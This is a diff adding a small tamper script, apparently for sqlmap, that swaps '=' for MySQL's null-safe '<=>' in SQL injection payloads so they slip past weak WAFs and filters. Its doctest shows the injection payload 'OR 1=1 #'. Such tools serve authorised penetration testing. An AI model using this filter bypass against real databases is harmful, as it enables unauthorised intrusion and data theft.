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27 changes: 27 additions & 0 deletions tamper/equal2nullsafequals.py
Original file line number Diff line number Diff line change
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#!/usr/bin/env python3
"""
Tamper script to replace '=' with '<=>'
MySQL-only NULL-safe equality operator.
Useful for bypassing filters that block '='.

Author: relunsec
"""

from lib.core.enums import PRIORITY
import re

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
"""
Replaces equal signs (=) with MySQL null-safe equal operator (<=>) Sometime bypass Weak WAF/Filters filter (=) sign

Requirement:
* MySQL

>>> tamper("OR 1=1 #")
'OR 1<=>1 #'
"""
if payload:
# Replace '=' with '<=>'
return re.sub(r'(?<![><!])=(?!=)', '<=>', payload)